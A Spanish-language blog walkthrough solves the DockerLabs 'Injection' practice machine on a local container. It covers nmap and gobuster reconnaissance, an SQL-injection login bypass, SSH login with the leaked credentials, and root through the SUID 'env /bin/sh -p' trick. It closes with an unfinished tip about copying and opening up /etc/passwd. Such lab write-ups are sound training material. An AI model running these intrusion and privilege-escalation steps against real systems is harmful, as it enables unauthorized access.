Muy Facil Dockerlabs

19 de septiembre de 2025

DockerLabs: 1. Máquina Injection

Resolución de la máquina Injection de DockerLabs, enfocada en inyección SQL y escalada de privilegios SUID con env.

SQL Injection Privilege Escalation SUID env
Imagen de portada para DockerLabs: 1. Máquina Injection

Ejecución de maquina

En esta sección veremos la manera para solucionar esta maquina de DockerLabs hecha por el Pingüino de Mario (Un grande).

Para poder ejecutar esta maquina debemos tener el archivo zip donde se encuentra todo lo importante para su ejecución. Para ello podemos utilizar 7z para ver su contenido y finalmente extaerlo:


Observando el contenido
$ 7z l injection.zip 
---------------------------------------------------------------------
# Resultado
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=es_CO.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 191252211 bytes (183 MiB)

Listing archive: injection.zip

--
Path = injection.zip
Type = zip
Physical Size = 191252211

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2024-05-13 05:34:31 .....    812682752    191250930  injection.tar
2024-05-11 16:48:33 .....         2304          949  auto_deploy.sh
------------------- ----- ------------ ------------  ------------------------
2024-05-13 05:34:31          812685056    191251879  2 files

Extrayendo el contenido
$ 7z x injection.zip 
-----------------------------------------------------------------------
# Resultado
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=es_CO.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 191252211 bytes (183 MiB)

Extracting archive: injection.zip
--
Path = injection.zip
Type = zip
Physical Size = 191252211

Everything is Ok    

Files: 2
Size:       812685056
Compressed: 191252211

Extrayendo el contenido, podremos listarlo de forma que todo lo que tenemos actualmente en la carpeta en la que estemos será posiblemente lo siguiente:

$ ls
auto_deploy.sh  injection.tar  injection.zip

Si quisiéramos podríamos eliminar el archivo zip, sin embargo, lo dejaremos en ese lugar en caso de que algo salga mal a la hora de intentar resolver la maquina, por lo cual nuestro siguiente movimiento será ejecutar la maquina mediante bash, podemos hacerlo dándole permisos de ejecución al archivo sh o como lo hare, especificando que queremos ejecutar el archivo con bash y permisos de administrador para poder ejecutar la maquina docker.

sudo bash auto_deploy.sh injection.tar
---------------------------------------
# Resultado
[sudo] contraseña para piedrahita: 

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla 

Con esto podemos empezar a ver todo lo que tiene que ver con respecto a las vulnerabilidades de esta maquina…

¡Vamos a ello!


Reconocimiento de Puertos

Por mi parte generare dos carpetas iniciales para empezar a guardar el contenido importante y me moveré a la carpeta donde realizare el escaneo de la maquina

mkdir walkthrough
mkdir walkthrough/nmap

cd walkthrough/nmap

Estando aquí un truco que podemos usar para identificar si estamos ante una maquina Linux o una maquina Windows es mediante ping, si la respuesta del ttl es de 64 o similar estamos ante una maquina Linux o similar, pero si el tiempo de respuesta es de 128 estamos ante una maquina Windows

ping -c 4 172.17.0.2
---------------------------------------------------------------
# Resultado
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.460 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.068 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.053 ms
64 bytes from 172.17.0.2: icmp_seq=4 ttl=64 time=0.050 ms

--- 172.17.0.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3052ms
rtt min/avg/max/mdev = 0.050/0.157/0.460/0.174 ms

Con esto podemos observar la conexión con la maquina e identificar una maquina Linux en ejecución, ahora lo siguiente es poder identificar los puertos abiertos de esta maquina:

nmap -sVC -sS -p- -Pn 172.17.0.2 -oN escaneo.txt
---------------------------------------------------------------------------
# Resultado
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 14:34 -05
Nmap scan report for 172.17.0.2
Host is up (0.000010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 72:1f:e1:92:70:3f:21:a2:0a:c6:a6:0e:b8:a2:aa:d5 (ECDSA)
|_  256 8f:3a:cd:fc:03:26:ad:49:4a:6c:a1:89:39:f9:7c:22 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Iniciar Sesi\xC3\xB3n
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.46 seconds

Por lo que podemos observar tenemos el puerto 22 abierto, por lo cual lo más probable es que necesitemos buscar las credenciales de acceso para poder escalar privilegios, mientras que por otro lado tenemos el puerto 80 abierto, siendo un sitio web montado con Apache siendo más específicamente de una maquina Ubuntu. El titulo que podemos observar es bastante llamativo debido a que nos dice algo similar a “Iniciar Sesión”.


Explotación

Con todo esto accederemos al sitio web con nuestro navegador de confianza para ver el sitio web, con lo que nos encontraremos con algo por el estilo: VerificarEndPointSitioWeb|1050

Por lo poco que podemos ver podemos intuir dos opciones, se trata de una posible Inyección SQL, o necesitamos acceder a un recurso de alguna ruta del sitio web, ya que queremos descartar todas las posibilidades, primero intentaremos descubrir si existe alguna ruta del sitio web, que de pronto tenga alguna credencial o algo por el estilo, para ello usaremos la herramienta de gobuster.

mkdir ../gobuster
cd ../gobuster

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html,txt -o dns_discovery.txt
------------------------------------------------------------------------------------
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              txt,php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 2921]
/config.php           (Status: 200) [Size: 0]
/server-status        (Status: 403) [Size: 275]

Si observamos bien solo podemos acceder a 2 contenidos que no nos dicen mucho, el index.php que si intentamos dirigirnos hacia allí es el mismo inicio de sesión; por el otro lado si accedemos a config.php nos encontraremos con una pagina en blanco, lo cual probablemente sea el código que se encargue de la configuración de acceso de credenciales al sitio web.

Viendo que no obtuvimos algún archivo interesante al investigar nos encargaremos principalmente de averiguar si estamos ante una inyección SQL. En un principio nos dirigimos al formulario, agregando de esta manera una comilla sencilla en el campo de usuario y cualquier cosa en el campo de la contraseña: IntentoAccesoConSQLInjection

Si mandamos esta petición, nos dará una respuesta tal que la siguiente: VerificacionSQLInjection

Con esto confirmamos nuestras sospechas, estamos ante una inyección SQL, más específicamente a una base de datos MariaDB, podríamos intentar en un comienzo hacer un acceso de sesión sencillo mediante una sentencia SQL como la siguiente
IntentoByPassSQLInjection

Por lo cual lo único que nos queda en este caso es probarlo y ver que sucede: AccesoConBypassSQL

Eureka, hemos accedido con un usuario por defecto llamado Dylan, y una contraseña algo extraña KJSDFG789FGSDF78. Podríamos intentar acceder con este usuario y contraseña mediante SSH, sin embargo, para descartar cualquier posible error verificaremos que la contraseña no este codificada en BASE64. por lo cual en la terminal escribiremos lo siguiente para descifrar cualquier posible contraseña:

echo "KJSDFG789FGSDF78" | base64 -d
(��n��Q�
        ^�    

Con esto hemos confirmado que no se trata de codificación básica, sin embargo, no podemos descartar cualquier posibilidad por el momento, así que lo único que nos faltaría por probar en este momento es establecer la conexión ssh con el usuario dylan y la contraseña que tenemos por el momento:

ssh dylan@172.17.0.2                          
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:5ic4ZXizeEb8agR4jNX59cBONCe5b5iEcU9lf2zt0Q0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
dylan@172.17.0.2's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.12.33+kali-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sun Aug 24 21:00:26 2025 from 172.17.0.1
dylan@9a0ed90c0a6f:~$ 

Ingresando todo podemos ver que estamos en la maquina Ubuntu, hemos hecho una explotación de forma bastante sencilla


Escalada de privilegios

Con esto podemos decir que hemos avanzado bastante, sin embargo, aun nos queda el paso final, escalar privilegios, para ello estando conectado a esta maquina podemos intentar hacer 2 cosas básicas, lo primero es listar el contenido que tenemos acceso de permiso de ejecución como administrador sin la contraseña con nuestro usuario actual, o por el contrario encontrar algún permiso SUID el cual podamos explotar, para ello realizamos lo siguiente:

Miramos los permisos de ejecución sudo
dylan@9a0ed90c0a6f:~$ sudo -l
-bash: sudo: command not found

Por lo que podemos ver en este sistema no se reconoce el sistema sudo, por lo cual esto ya nos descarta la primera opción, así que vamos con la segunda:

Miramos los permisos SUID del usuario
dylan@9a0ed90c0a6f:~$ find / -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/su
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/env
/usr/bin/passwd
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

Con esto encontramos algo interesante, podemos observar que uno de estos permisos es env, por lo cual ya tenemos la forma de escalar privilegios con permisos SUID. Para ello nos guiaremos en Permisos SUID de GTFObins. Con ello podremos ver que la forma para escalar privilegios es mediante el siguiente comando:

dylan@9a0ed90c0a6f:~$ /usr/bin/env /bin/sh -p
# whoami
root

Tip Extra:

Aunque con lo anterior hemos podido escalar privilegios lo cierto es que podemos tener acceso de una forma más cómoda y es cambiando el archivo de passwd del sistema, para ello haremos lo siguiente, en la carpeta de dylan copiaremos el archivo para su debida modificación de permisos, haremos lo siguiente:

# pwd
/home/dylan

# cp /etc/passwd .

# ls -l passwd
-rw-r--r-- 1 root dylan 1380 Aug 25 16:15 passwd
# chmod 777 passwd
#exit